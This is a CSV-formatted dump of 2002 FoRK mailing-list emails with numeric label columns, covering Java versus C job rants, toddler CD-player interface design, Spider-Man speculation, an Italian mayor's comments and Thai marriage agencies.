menus for common completions as words were typed; even further back there was a DOS shareware editor that did that latter function extremely well (targetted at the handicapped). With just those little bits of assists, maybe some clever use of pictograms too, I bet kindergarten kids could handle email. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 lucas@gonze.com,FoRK ,"Wed, 4 Sep 2002 16:27:56 -0400 (EDT)",whoa,"This just blew my mind: http://www.earthviewer.com/ The detail of my neighborhood -- even my building -- is unbelievable.",0,1 """Adam L. Beberg"" ",,"Wed, 4 Sep 2002 17:36:34 -0700 (PDT)",Ouch...,"Shouldn't a politician know not to tell the truth? Odds he's impeached by next Monday? [ob: no-clue-how-they-remove-mayors-in-italy] Ouch. Ouch. Ouch. ------------ Get Sexier, Keep Husbands, Mayor Tells Wives Wed Sep 4, 9:14 AM ET MISSAGLIA, Italy (Reuters) - Husband's eyes wandering? Make yourself sexier. At least that's the solution proposed by an Italian mayor -- and a woman mayor at that. Wives in the northern town of Missaglia had complained to mayor Marta Casiraghi about a young woman who sunbathed topless on her terrace. They complained that the men in the town of some 7,000 people were spending too much time ogling, so they asked Casiraghi to order the woman to put her clothes back on. But the mayor, far from sympathizing, told the wives to get sexy if they wanted to keep their men. ""The girl was very pretty and was soaking up some sun. Topless sunbathing is largely tolerated and widespread nowadays. There's nothing we can do,"" Casiraghi told Il Nuovo, a web-based newspaper. ""Instead, I'd advise the wives to play their rival at her own game -- make themselves more beautiful.""",0,0 Elias Sinderson ,Jim Whitehead ,"Wed, 04 Sep 2002 15:17:40 -0700",Re: Gecko adhesion finally sussed.,"Jim Whitehead wrote: >Great, this is half of what I'd need to become Spider Man! Now all I need to >figure out is how to do that spider web shooting thing. > Heheheh... So becomming a university professor was your second career choice? ;-) Seriously though (or not, as the case may be), The Amazing Spiderman had many other abilities to help him out. Most notable, perhaps, was his 'spidey strength' and 'spidey senses'. The strength to weight ratio of a spider is so high that Spiderman is able to throw a bus several city blocks with little effort. His endurance is similarly enhanced as well. As for the spidey senses, well they're really great, but AFAIK not really well explained in the comic series. Spiders have multiple eyes, ears, noses and tongues which Peter Parker did not visibly have. There have been a few attempts to explain his heightened reflexes, from the biological to hidden methamphetamine use, but none seem to do the spidey sense justice... I seem to recall Spiderman being able to detect the presence of well concealed weapons and even sense evil-doers while they were in their street clothes. Perhaps the spidey senses are the result of some sort of quantum entanglement? Elias",0,0 Sherry Listgarten ,"""'fork@spamassassin.taint.org'"" ","Wed, 4 Sep 2002 19:58:36 -0700",RE: Java is for kiddies,"Misc rants about finding jobs, java vs C, what makes a good programmer, etc. Okay, hmm, I thought twice about this, but what the hey, jobs are hard to come by. There's a company hiring in Mountain View, looking for a few good hackers, no Java, no GUI, not even C++ -- just C and Linux and networking and good old stuff like that. They just raised a wad of money and they're looking for a few ""really good programmers"", says the CTO. I know him -- very smart guy. Drives too fast, though, for what that's worth. Joe Bob says ""check it out"". I'd be happy to pass on your resume, or you can send it straight to them. Probably won't matter if I pass it on, since I don't know you guys anyway... http://www.netli.com -- Sherry. > -----Original Message----- > From: Joseph S. Barrera III [mailto:joe@barrera.org] > Sent: Tuesday, August 27, 2002 8:58 AM > To: Adam L. Beberg > Cc: fork@spamassassin.taint.org > Subject: Re: Java is for kiddies > > > Adam L. Beberg wrote: > >>> Forwarding me stuff from a list is hardly handing me a job. > >> > >> I was talking about the open reqs at Kana (the company I > work for). > >> Oh, but programming in Java is beneath you. > > > > Nope just lacking years and years of it. For some silly > reason people > > always want things to be reliable, fast, and > cross-platform so all my > > employers have forced me to code in C :) > > C is more reliable than Java?? > > As for cross-platform, C exists on more platforms, but a Java program > is much easier to move from one platform to another. So I'm not sure > what you mean. > > I'm not trying to fight a language war, but I'm puzzled by the depth > of your anti-Java hatred. > > > I know lots of high school > > kiddies with plenty of Java tho, not having to teach people about > > pointers or optimization or anything shaves years off the > coder boot > > time. I'll send them your way when they graduate. > > Pointers. So a language has to have pointers to be real? And > references > don't count, I gather. What's so great about pointers? Why do you > miss them? If your doing embedded stuff, fine, yes, you need the > performance and control over memory that C provides. Probably. > But if your implementing tier N-1 of a tier N system, and pounding > against a database, then Java is OFTEN a very reasonable choice. > Especially if you want that system to run without leaking memory. > > Optimization. Who says you can't optimize Java? I can and have, > and there are good tools that allow you to do it (I use OptimizeIt). > But usually I find myself optimizing (reducing) database accesses > instead. I sped one part of the system up by a factor of ten by > grouping more operations into fewer transactions. > > But this is beside the point. If you have decent C++ experience, and > have poked around in Java, you should be able to convince most > employers that you can be trusted writing Java. That's what I did -- > I mean, I joined Kana from Microsoft, and I didn't exactly write > a lot of Java code at Microsoft. > > > I'm not displeased you're trying to help, just frustrated that > > employers can demand such rediculous combinations of skills with > > insane years of experience. > > I don't think I've ever interviewed at a place where I actually > met all the prerequisites. Do you just give up when you don't? > > > Interview tommorow with Kodak, doing I have no idea what as the > > recruiter isnt even sure, but cross your fingers it wont require 10 > > years of Java and 5 years of Windows/IA-64's device driver > experience > > (both common requirements). > > I wish you best of luck, and I apologies for being a bitch. > But God DAMN, you piss me off sometimes. My son occasionally > displays your ""can't-do"" attitude and I do my damnest to > get him to reverse course. > > - Joe > >",0,1 CDale ,"""Adam L. Beberg"" ","Wed, 4 Sep 2002 21:59:28 -0500 (CDT)",Re: Ouch...,"Someone needs to tell the mayor about this: http://www.cb-2000.com/ kinkily yours, Cindy On Wed, 4 Sep 2002, Adam L. Beberg wrote: > Shouldn't a politician know not to tell the truth? Odds he's impeached by > next Monday? [ob: no-clue-how-they-remove-mayors-in-italy] > > Ouch. Ouch. Ouch. > > ------------ > > Get Sexier, Keep Husbands, Mayor Tells Wives > Wed Sep 4, 9:14 AM ET > > MISSAGLIA, Italy (Reuters) - Husband's eyes wandering? Make yourself sexier. > At least that's the solution proposed by an Italian mayor -- and a woman > mayor at that. > > Wives in the northern town of Missaglia had complained to mayor Marta > Casiraghi about a young woman who sunbathed topless on her terrace. > > They complained that the men in the town of some 7,000 people were spending > too much time ogling, so they asked Casiraghi to order the woman to put her > clothes back on. > > But the mayor, far from sympathizing, told the wives to get sexy if they > wanted to keep their men. ""The girl was very pretty and was soaking up some > sun. Topless sunbathing is largely tolerated and widespread nowadays. > There's nothing we can do,"" Casiraghi told Il Nuovo, a web-based newspaper. > > ""Instead, I'd advise the wives to play their rival at her own game -- make > themselves more beautiful."" > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,1 bitbitch@magnesium.net,Sherry Listgarten ,"Wed, 4 Sep 2002 23:07:41 -0400",Re[2]: Java is for kiddies,"SL> SL> Misc rants about finding jobs, java vs C, what makes a good programmer, etc. SL> SL> Okay, hmm, I thought twice about this, but what the hey, jobs are hard to SL> come by. There's a company hiring in Mountain View, looking for a few good I give Adam an hour or so to come up with an adequate number of excuses as to why -this- job isn't worth it. :) GO Adam GO!",0,0 Tom ,fork@spamassassin.taint.org,"Wed, 4 Sep 2002 23:16:51 -0400 (EDT)","Adam dont job for no one, see.","A groys gesheft zol er hobn mit shroyre vus er hot, zol men bay im nit fregn, un vos men fregt zol er nisht hobn, and if that aint the truth nutin is.",0,0 """Mr. FoRK"" ","""FoRK"" ","Wed, 4 Sep 2002 21:11:50 -0700",Re: CD player UI for toddlers,"----- Original Message ----- From: ""Jim Whitehead"" > > For toddlers, pressing play must cause the music to start immediately, > within half a second, for the toddler to get the causality and not press the > button multiple times. Or some sound indicating that the music will start real soon now. > As well, pressing the button multiple times shouldn't > change the semantics, like an elevator button. No matter how many times you > press, the elevator still comes to that floor. The play button needs to be > the same. Idempotency everywhere you look... > What would the ideal toddler CD player be like? It would immediately start > playing a CD after it was loaded. It'd be an MP3 player with solid state storage... instant on.",0,0 Gary Lawrence Murphy ,Elias Sinderson ,04 Sep 2002 22:32:07 -0400,Re: Gecko adhesion finally sussed.,">>>>> ""E"" == Elias Sinderson writes: E> ... The strength to weight ratio of a spider is so high E> that Spiderman is able to throw a bus several city blocks with E> little effort. His endurance is similarly enhanced as well. Could this be as simple as a modified molecular structure where the humanoid cells are in fact exo-skeletally structured with more atoms per cubic angstrom to achieve the distance-squared tensile strength enhancements we find when we introduce smaller metal atoms between the lattice packed grid of iron atoms to create steel? This 'steel-effect' might give bone structure and tendons dramatically (several orders of magnitude) more tensile strength without the need to significantly increase the weight (like magnesium-alloy or carbon-fiber weight compared to iron, Spidey could even be way under weight). Only increasing tensile strength could accommodate the mobility and leverage feats since bones are actually formed from bubbles of organic material hydrolically assisted, tensile strength cross-sectionally would give his frame the strength to withstand the muscular enhancement. E> As for the spidey senses, well they're really great, but AFAIK E> not really well explained in the comic series. If the same close-packing gap-filling arachne-molecular structure modification occurs in neural tissues, and there'd be no reason to think that these would grow differently from bones and tendons, then what we are seeing in spidey sense is no more than the heightened cerebral functions due to shorter/faster/stronger synapses throughout the entire nervous system. Since we know dogs and cats measure human emotions by smell, clearly hearing the heartbeats, and other subtle clues within their normal sensory ranges (but seem mystical to us) ... for Peter Parker, everything from air currents on his facial-hairs to extremely subtle hormone smells might coallesce into a general gestalt of Spidey-Sense; don't forget that he'd acquired this ability in adolescence and thus would lack any cultural or even pathological basis to explain the heightened awareness to himself in anything but mystical terms. We know from issue #1 that his collision-avoidance reflex response time was far swifter than his cognitive awareness since he 'found' himself already stuck to the tree when the bicycle was already past and hence his disorientation (""You ok, Mister?"") as if it was a hallucination. Hmmm ... it may even be physio-psychologically interesting to examine if Peter Parker's personal quandries arose _because_ his physiological 'Spidey' infrastructure had been advanced whereas his psychological perception of his self had not, ie, ""Peter"" was not ""Spiderman"" but just the ""driver of the bus"". Only, unlike ourselves, he found his self driving a body-vehicle not evolutionarily matched to his cognitive time-scales. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 """Gordon Mohr"" ","""FoRK"" ","Wed, 4 Sep 2002 21:56:24 -0700",Re: CD player UI for toddlers,"Mr Fork writes: Jim Whitehead writes: > > For toddlers, pressing play must cause the music to start immediately, > > within half a second, for the toddler to get the causality and not press > the > > button multiple times. > Or some sound indicating that the music will start real soon now. A tonal countdown would be nice. > > What would the ideal toddler CD player be like? It would immediately start > > playing a CD after it was loaded. > It'd be an MP3 player with solid state storage... instant on. Hmm. Seems like every CD player should include the capability to rip, encode, and cache the last few CDs inserted. Playback would then never need to face seek delays... after the initial ripping, the only use of the laser pickup would be recognizing which CD is inserted -- which might be doable faster than a seek-and-start-at- first-track operation. You could also take the CD out while it is ""playing"". Hmm. If the CD is still in the cache, maybe you don't even have to insert it. Or choose it from a step-through UI. Instead, you just wave it at an electronic eye of some sort... and the player recognizes it from the silkscreening. Kids would like that. ""Play this,"" they'd say, facing the CD at the player, and the player would start immediately. - Gordon",0,0 Tom ,Gordon Mohr ,"Thu, 5 Sep 2002 01:04:43 -0400 (EDT)",Re: CD player UI for toddlers,"On Wed, 4 Sep 2002, Gordon Mohr wrote: --]Hmm. Seems like every CD player should include the --]capability to rip, encode, and cache the last few CDs --]inserted. There are companies doing just that, but given the current state of the DRm sceen and the litigiouness of the RIAA, who wants to go down like circus seals?",0,0 Tom ,"""Mr. FoRK"" ","Thu, 5 Sep 2002 00:41:24 -0400 (EDT)",Re: CD player UI for toddlers,"On Wed, 4 Sep 2002, Mr. FoRK wrote: --]It'd be an MP3 player with solid state storage... instant on. Getting new media on is a bit out of the reach of the kindala. With a CD solution you hand em a disc and in it goes. Tradeoffs abound. Heather got a CD player when she was 5. Even though it was a crappy handmedown it worked great other than the batterys poping out..bad bad ui there. Her next one was a store bought. Its an all Audio player, no mp3 decoders for her yet. I wanted to do the bottom line Volt but momala put the kabash on anything costing over 30 bucks. heck I had to scrounge ebay to get her a palm m100 for about 25 bucks. The only hitch is new music. Upshot is we spend time going over usenet listing togther:)- Its a happy family. Now for Benjamin, yea id love to have something like the amazingly cool Fisher Price My First (cd, casset, vasectomy, dirtybomb) products. Perhaps the My First Cd might work...time to let ebay do the walking.",0,0 Karl Anderson ,"""Jim Whitehead"" ",05 Sep 2002 00:52:12 -0700,Re: CD player UI for toddlers,"""Jim Whitehead"" writes: > The CD player we have combines play and pause in a single button, but > doesn't provide *instantaneous* feedback that the button was pushed, instead > requiring you to wait until the music starts, 5-10 seconds. This is a UI > disaster. Since Tatum doesn't get feedback right away, she presses the > button again, thereby pausing the CD before it even plays. She'll only ever > get music if she presses the button an odd number of times. This happens a > surprising amount of the time, since she eventually hits the button again > when the music doesn't play. Nice to hear that somebody else does this too. -- Karl Anderson kra@monkey.org http://www.monkey.org/~kra/",0,1 Eugen Leitl ,Tom ,"Thu, 5 Sep 2002 11:09:52 +0200 (CEST)","Re: Adam dont job for no one, see.","On Wed, 4 Sep 2002, Tom wrote: > A groys gesheft zol er hobn mit shroyre vus er hot, zol men bay im nit > fregn, un vos men fregt zol er nisht hobn, and if that aint the truth > nutin is. A nice curse. Don't get ""shroyre"", though.",0,0 Karl Anderson ,bitbitch@magnesium.net,05 Sep 2002 00:50:10 -0700,Re: Re[2]: Java is for kiddies,"bitbitch@magnesium.net writes: > SL> > SL> Misc rants about finding jobs, java vs C, what makes a good programmer, etc. > SL> > > SL> Okay, hmm, I thought twice about this, but what the hey, jobs are hard to > SL> come by. There's a company hiring in Mountain View, looking for a few good > > > I give Adam an hour or so to come up with an adequate number of > excuses as to why -this- job isn't worth it. :) http://www.netli.com/careers/index.htm >* Along with your resume, please answer this question: What does this C statement do? #define XY(s, m) (&((s *)0)->m) Besides provide job security? -- Karl Anderson kra@monkey.org http://www.monkey.org/~kra/",0,1 """Bill Kearney"" ",,"Thu, 5 Sep 2002 09:52:33 -0400",Re: CD player UI for toddlers,"> Now for Benjamin, yea id love to have something like the amazingly cool > Fisher Price My First (cd, casset, vasectomy, dirtybomb) products. Perhaps > the My First Cd might work...time to let ebay do the walking. Sony makes such a line of products. My father was legendary for his abilty to break things. His 'thumbs of death' would rival anything a toddler could do to devices. After countless numbers of Walkman devices having their lids broken or buttons pressed into oblivion I found the Sony devices. I got him a ""My First Sony"" (be afraid of the marketing) CD player. It was /fire engine red/ but was completely indestructible. I hacked a headphone jack into it and gave it to him. He complained of it's looks but used it nonetheless. I also gave him a pack of headphones as there's no such things indestuctible headphones that aren't obscenely bulky. Now that we're riding up the curve of an ever increasing geezer population, how soon before device makers get wise? Not to be morbid, but would the marketing be ""My Last Sony""? -Bill Kearney",0,0 Lucas Gonze ,Eirikur Hallgrimsson ,"Thu, 5 Sep 2002 10:43:02 -0400 (EDT)",Re: Ouch...,"Eirikur said: > This incident is an interesting microcosm of how society and law develop. > The women of this town are attempting to regulate competition. The social > standards mechanisms (I expect that shame has already been tried) have > failed, so legal is next. The point could also be to hassle the sunbather for reasons not given in the story. The sunbather has probably pissed off the complainers in other ways, too. Law and society are wholeheartedly trivial. Big fuzzy concepts like ""sluts vs. moms"" are convenient vehicles for petty disputes as often as not. - Lucas",0,0 """Bill Stoddard"" ","""Fork@Xent.Com"" ","Thu, 5 Sep 2002 10:40:04 -0400",RE: Re[2]: Java is for kiddies,"> -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Karl > Anderson > Sent: Thursday, September 05, 2002 3:50 AM > To: bitbitch@magnesium.net > Cc: 'fork@spamassassin.taint.org' > Subject: Re: Re[2]: Java is for kiddies > > > bitbitch@magnesium.net writes: > > > SL> > > SL> Misc rants about finding jobs, java vs C, what makes a good > programmer, etc. > > SL> > > > > SL> Okay, hmm, I thought twice about this, but what the hey, > jobs are hard to > > SL> come by. There's a company hiring in Mountain View, looking > for a few good > > > > > > I give Adam an hour or so to come up with an adequate number of > > excuses as to why -this- job isn't worth it. :) > > http://www.netli.com/careers/index.htm > > >* Along with your resume, please answer this question: What does > this C statement do? #define XY(s, m) (&((s *)0)->m) > > Besides provide job security? This is more useful... #define CONTAINING_RECORD(address, type, field) ((type *)( \ (PCHAR)(address) - \ (PCHAR)(&((type *)0)->field))) Bill",0,1 CDale ,bitbitch@magnesium.net,"Fri, 6 Sep 2002 02:41:48 -0500 (CDT)",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"I dunno, BB. Women who like to be thought of this way should have the right to choose to be treated this way. Men too... ahem. (: My boy cleans, washes clothes, cooks, fixes stuff, etc, and works the same number of hours I do, sometimes more, if he has to catch up with me. (: I close him because he is industrious and creative, and because he unfailingly makes my bed the minute I get out of it. And boy #2 will be here soon to help boy #1 with other things such as pedicures, backrubs, and sure, fucking. LOL! (along with the aforementioned ""chores"") Adam can have his cake and eat it too, if he can only find the right girl who has the same beliefs about gender roles that he has. Of course, he has NO clue where to look, so we will be constantly laughing at him while he stumbles around in the dark. Cindy P.S. the numbers do not in any way indicate importance or favor -- only the order in which they move into my house. -smiles at chris- P.S. #2. I'm moving. Going to New Orleans. Can't handle any more cab driving. The summer sucked here on the MS Gulf Coast, instead of rocking like it normally does. Wish me luck. I'm going to look for another computer job. Le Sigh. (: On Thu, 5 Sep 2002 bitbitch@magnesium.net wrote: > Hello Adam, > > Thursday, September 05, 2002, 11:33:18 PM, you wrote: > > > ALB> So, you're saying that product bundling works? Good point. > > Sometimes I wish I was still in CA. You deserve a good beating every > so often... (anyone else want to do the honors?) > > ALB> And how is this any different from ""normal"" marriage exactly? Other then > ALB> that the woman not only gets a man, but one in a country where both she and > ALB> her offspring will have actual opportunities? Oh and the lack of > ALB> ""de-feminized, over-sized, self-centered, mercenary-minded"" choices? > > Mmkay. For the nth time Adam, we don't live in the land of > Adam-fantasy. Women actually are allowed to do things productive, > independent and entirely free of their male counterparts. They aren't > forced to cook and clean and merely be sexual vessels. Sometimes, > and this will come as a shock to you, no doubt, men and women even > find -love- (which is the crucial distinction between this system) and > they marry one another for the satisfaction of being together. I > know, far-fetched and idealistically crazy as it is, but such things > do happen. I can guarantee you, if my mother was approached by my > father, and 25 years ago, he commented on her cleaning ability as a > motivator for marrying her, we would not be having this conversation > now. > > If guys still have silly antequated ideas about 'women's role' then > their opportunities for finding women _will_ be scarce. Again, these > situations are great, provided everyone is aware that the relationship > is a contractual one -- he wants a maid, a dog and a prostitute he > doesn't have to pay, and she wants a country that isn't impoverished > and teeming with AIDS. A contract, versus a true love-interest > marriage. > > Egh. I really need to stop analyzing your posts to this extent. I > blame law school and my cat. > > -BB > > ALB> - Adam L. ""Duncan"" Beberg > ALB> http://www.mithral.com/~beberg/ > ALB> beberg@mithral.com > > > > > > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,1 CDale ,"""Adam L. Beberg"" ","Fri, 6 Sep 2002 02:44:06 -0500 (CDT)",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"It's a fair trade, IMO. Same for some mid-east bloke who's dying to marry American so he can start his own business. But BB is right. When the thrill is gone, she should take his shit. LOL CindyDrinking On Thu, 5 Sep 2002, Adam L. Beberg wrote: > On Thu, 5 Sep 2002 bitbitch@magnesium.net wrote: > > > Again, these situations are great, provided everyone is aware that the > > relationship is a contractual one -- he wants a maid, a dog and a > > prostitute he doesn't have to pay, and she wants a country that isn't > > impoverished and teeming with AIDS. > > You assume that they just match people up and marry them off, and neither is > attracted to the other, which is not the case. Even this has arranged > marrage beat by a long way. > > Males gets: A wife for a while, and if they actually like each other, for a > long time. > Female gets: Into Britan, out of a country with no real rights for women, no > opportunities for her or her children, out of the polution, AIDS, and an > uncountable number of scary tropical diseases. Not to mention in most cases > living conditions that us spoiled Americans cannot even comprehend. > > Yea, the women is definately getting tha bad end of the deal here. > > You're so easy to taunt :) > > - Adam L. ""Duncan"" Beberg > http://www.mithral.com/~beberg/ > beberg@mithral.com > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,1 CDale ,fork@spamassassin.taint.org,"Fri, 6 Sep 2002 03:00:13 -0500 (CDT)",EFnet #fork,"Someone has taken it. Mostly newtel users. I think we can take the. C -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,0 kragen@pobox.com (Kragen Sitaker),fork@spamassassin.taint.org,"Fri, 6 Sep 2002 04:26:37 -0400 (EDT)",Re: Ouch... [Bebergflame],"Adam Beberg writes: > Shouldn't a politician know not to tell the truth? Odds he's impeached by As the article you forwarded explained in the second line of text, this politician is a woman. > next Monday? [ob: no-clue-how-they-remove-mayors-in-italy] ob: no-clue-full-stop, as in nearly all Adam Beberg posts. -- Kragen Sitaker Edsger Wybe Dijkstra died in August of 2002. The world has lost a great man. See http://advogato.org/person/raph/diary.html?start=252 and http://www.kode-fu.com/geek/2002_08_04_archive.shtml for details.",0,1 """Adam L. Beberg"" ",,"Thu, 5 Sep 2002 21:16:51 -0700 (PDT)",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"On Thu, 5 Sep 2002 bitbitch@magnesium.net wrote: > Again, these situations are great, provided everyone is aware that the > relationship is a contractual one -- he wants a maid, a dog and a > prostitute he doesn't have to pay, and she wants a country that isn't > impoverished and teeming with AIDS. You assume that they just match people up and marry them off, and neither is attracted to the other, which is not the case. Even this has arranged marrage beat by a long way. Males gets: A wife for a while, and if they actually like each other, for a long time. Female gets: Into Britan, out of a country with no real rights for women, no opportunities for her or her children, out of the polution, AIDS, and an uncountable number of scary tropical diseases. Not to mention in most cases living conditions that us spoiled Americans cannot even comprehend. Yea, the women is definately getting tha bad end of the deal here. You're so easy to taunt :) - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 kragen@pobox.com (Kragen Sitaker),fork@spamassassin.taint.org,"Fri, 6 Sep 2002 04:26:44 -0400 (EDT)",Re: asynchronous I/O (was Re: Gasp!),"Adam Beberg writes: > On Tue, 3 Sep 2002, Kragen Sitaker wrote: > > Unix acquired nonblocking I/O in the form of select() about 23 years > > ago, and Solaris has had the particular aio_* calls we are discussing > > for many years. > > select() ""scaling"" is a joke at best, and I know you know that. poll() is > only a bit better. Not only do I know that, the post to which you were responding explained that, with somewhat more detail than ""a joke"". As you should know, but evidently don't, poll() isn't even ""a bit better"" --- in fact, it's about an order of magnitude worse --- for dense file descriptor sets, which is the normal case. (Except on operating systems where select() isn't a system call but a library routine that calls poll().) > > Very few applications need the aio_* calls --- essentially only > > high-performance RDBMS servers even benefit from them at all, and > > most of those have been faking it fine for a while with multiple > > threads or processes. This just provides a modicum of extra > > performance. > > Wrong, it makes a huge difference in even what I consider small programs. Why don't you explain this in more detail? > > Although I don't have a copy of the spec handy, I think the aio_* APIs > > come from the POSIX spec IEEE Std 1003.1-1990, section 6.7.9, which is > > 13 years old, and which I think documented then-current practice. > > They might be even older than that. > > Yes, SGI has a patch to the linux kernel to implement the aio_ interfaces, > but it's still not built in, who knows when it will be. The point is it's > not portable in either case. You originally said: Could it be? After 20 years without this feature UNIX finally catches up to Windows and has I/O that doesnt [sic] totally suck for nontrivial apps? No way! The point --- my point, the point I was discussing; please don't try to tell me you were trying to make a different point, because I don't care --- is that you had no clue what you were talking about; Unix hasn't been without this feature, and in fact has had it since you were in elementary school, and operating systems without it don't ""totally suck for nontrivial apps"". For what it's worth, glibc has actually implemented the aio_* calls for a while, just in a way that doesn't scale to large numbers of concurrent I/O requests. I find references to the glibc implementation as far back as 1999 and glibc 2.1.1, and I could probably find much earlier references if I had time: http://sources.redhat.com/ml/libc-hacker/1999-12/msg00070.html (more details at http://www.atnf.csiro.au/people/rgooch/linux/docs/io-events.html; details on the SGI patch are at http://oss.sgi.com/projects/kaio/faq.html) > > Unix has been multiprocess since 1969, and most Unix implementations > > have supported multithreading for a decade or more. > > And most UNIX is still kinda-sorta supporting the pthreads (POSIX) > interface, each in their own 7/8 implementation. You're safe if you > stick to the basics. Your original complaint was that Unix didn't do multithreading or multiprogramming well. Now that I've pointed out how obviously idiotic that claim is, you've amended your complaint: now, although individual Unixes do these things well, you complain that their implementations are not entirely conformant with the POSIX threads specification. Well, that's probably true, but I haven't written pthreads programs in C much myself, so I can't confirm it from my own experience. But, even if it's true, it's not a very good reason to prefer Windows. I'm sure you can provide examples of bugs in particular threading implementations. Spare us. Just shut up. -- Kragen Sitaker Edsger Wybe Dijkstra died in August of 2002. The world has lost a great man. See http://advogato.org/person/raph/diary.html?start=252 and http://www.kode-fu.com/geek/2002_08_04_archive.shtml for details.",0,1 """Adam L. Beberg"" ",,"Thu, 5 Sep 2002 20:33:18 -0700 (PDT)",Re: Selling Wedded Bliss (was Re: Ouch...),"On Thu, 5 Sep 2002 bitbitch@magnesium.net wrote: > Yet another case where 'marriage' is actually an inappropriate word > for these guys. What they want is 'housekeeper' 'dog' and > 'prostitute'. So, you're saying that product bundling works? Good point. And how is this any different from ""normal"" marriage exactly? Other then that the woman not only gets a man, but one in a country where both she and her offspring will have actual opportunities? Oh and the lack of ""de-feminized, over-sized, self-centered, mercenary-minded"" choices? - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 bitbitch@magnesium.net,"""Adam L. Beberg"" ","Thu, 5 Sep 2002 23:41:16 -0400",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"Hello Adam, Thursday, September 05, 2002, 11:33:18 PM, you wrote: ALB> So, you're saying that product bundling works? Good point. Sometimes I wish I was still in CA. You deserve a good beating every so often... (anyone else want to do the honors?) ALB> And how is this any different from ""normal"" marriage exactly? Other then ALB> that the woman not only gets a man, but one in a country where both she and ALB> her offspring will have actual opportunities? Oh and the lack of ALB> ""de-feminized, over-sized, self-centered, mercenary-minded"" choices? Mmkay. For the nth time Adam, we don't live in the land of Adam-fantasy. Women actually are allowed to do things productive, independent and entirely free of their male counterparts. They aren't forced to cook and clean and merely be sexual vessels. Sometimes, and this will come as a shock to you, no doubt, men and women even find -love- (which is the crucial distinction between this system) and they marry one another for the satisfaction of being together. I know, far-fetched and idealistically crazy as it is, but such things do happen. I can guarantee you, if my mother was approached by my father, and 25 years ago, he commented on her cleaning ability as a motivator for marrying her, we would not be having this conversation now. If guys still have silly antequated ideas about 'women's role' then their opportunities for finding women _will_ be scarce. Again, these situations are great, provided everyone is aware that the relationship is a contractual one -- he wants a maid, a dog and a prostitute he doesn't have to pay, and she wants a country that isn't impoverished and teeming with AIDS. A contract, versus a true love-interest marriage. Egh. I really need to stop analyzing your posts to this extent. I blame law school and my cat. -BB ALB> - Adam L. ""Duncan"" Beberg ALB> http://www.mithral.com/~beberg/ ALB> beberg@mithral.com -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,1 bitbitch@magnesium.net,"""Adam L. Beberg"" ","Thu, 5 Sep 2002 23:16:59 -0400",Re: Selling Wedded Bliss (was Re: Ouch...),"Ah yes.. Yet another case where 'marriage' is actually an inappropriate word for these guys. What they want is 'housekeeper' 'dog' and 'prostitute'. All I can say, is I hope these girls come out, take the men for what they have, be glorified housekeepers for as short a term as possible, and enjoy the free travel. Love my arse. -BB ALB> ...an alternative to the ""kind of de-feminized, over-sized, self-centered, ALB> mercenary-minded lady available on the British singles scene,"" ALB> Glad to see American culture is making it's way into the British bars too :) ALB> God bless us uncivilized bastards, every one. ALB> Still, definately something not right about the below. People are now ALB> cheaper then a decent laptop? (ok, so we knew that already) ALB> ------------- ALB> Selling Wedded Bliss Big Business in Thailand ALB> Thu Aug 29,10:19 AM ET ALB> By Andrew Marshall ALB> BANGKOK, Thailand (Reuters) - English dentist Ken Moylan came to Thailand ALB> looking for a wife. It took two hours to find her. ALB> ""The first day I went out with Wan, she came back to my hotel and hung all ALB> my clothes up and tidied the room. I thought it was marvelous,"" he said. ""I ALB> knew then there was something special."" ALB> Moylan, 49, is one of thousands of men who use introduction agencies to meet ALB> -- and marry -- Thai women. He lives in England now with 28-year-old Wan, ALB> who is expecting their first child. ALB> Critics of marriage agencies say they exploit the grinding poverty of women ALB> in developing countries, offering dreams of a new life in the West that ALB> often turn sour. But Moylan says he has no regrets about coming to Thailand ALB> in search of a wife. ALB> ""I got to Thailand at 2 p.m., and by 4 p.m. I'd met Wan,"" he said. ""I knew I ALB> found her attractive. I could tell straight away that she was very caring."" ALB> Moylan spent a week in Thailand, and after returning to England kept in ALB> touch with Wan by phone and mail. Six months later she came to England and ALB> the couple married. ALB> MR. MARRIAGE ALB> Lawrence Lynch, 49, runs Thai Professional Introduction Services, the agency ALB> Moylan used to meet his wife. Lynch, who calls himself ""Mr. Marriage,"" ALB> started the company after also marrying a Thai woman through an introduction ALB> agency. ALB> Since then he has helped set up hundreds of marriages. ALB> ""In the last five years we've done about 400,"" he said. ""To the best of my ALB> knowledge, they have all been successful."" ALB> Male clients pay $2,213 for the service, although men from countries that ALB> require them to handle some of the visa work on their own get a discount. ALB> Clients then get to view catalogs and videos of hundreds of Thai women ALB> looking for a husband. If they like what they see they come to Bangkok. ALB> Clients are introduced to several women in chaperoned meetings in Lynch's ALB> office -- encounters that can often be awkward given mutual shyness and ALB> language problems. ALB> ""We find that the gentlemen are usually just as nervous as the ladies,"" ALB> Lynch said. ""But once they start meeting the ladies they soon relax."" ALB> After the first meeting, couples can decide to go on dates to get to know ALB> each other better. Within two weeks of arrival, Lynch says, almost every ALB> client has found a potential wife. ALB> ""At the end of a fortnight it's very, very rare for a guy to go back and ALB> think he hasn't made his mind up,"" he said. In most cases, marriage follows, ALB> usually within the next year. ALB> Roongthip Kamchat, managing director of Thai No. 1 Connections, a ALB> Bangkok-based agency, says she has introduced about 1,000 couples, and less ALB> than 10 percent have broken up. ALB> Roongthip says she sometimes has a difficult time calming men who have just ALB> arrived in Bangkok looking for a wife. ALB> ""Sometimes they are very nervous,"" she said. ""And sometimes they are very ALB> impatient and say 'Give me a lady, I want to get married now.' I say: 'Calm ALB> down, OK, we'll talk.""' ALB> But if men are really in a hurry, Roongthip says, she can find them a wife ALB> and get them married within a week. Lynch says clients he has found wives ALB> for include a blind man, 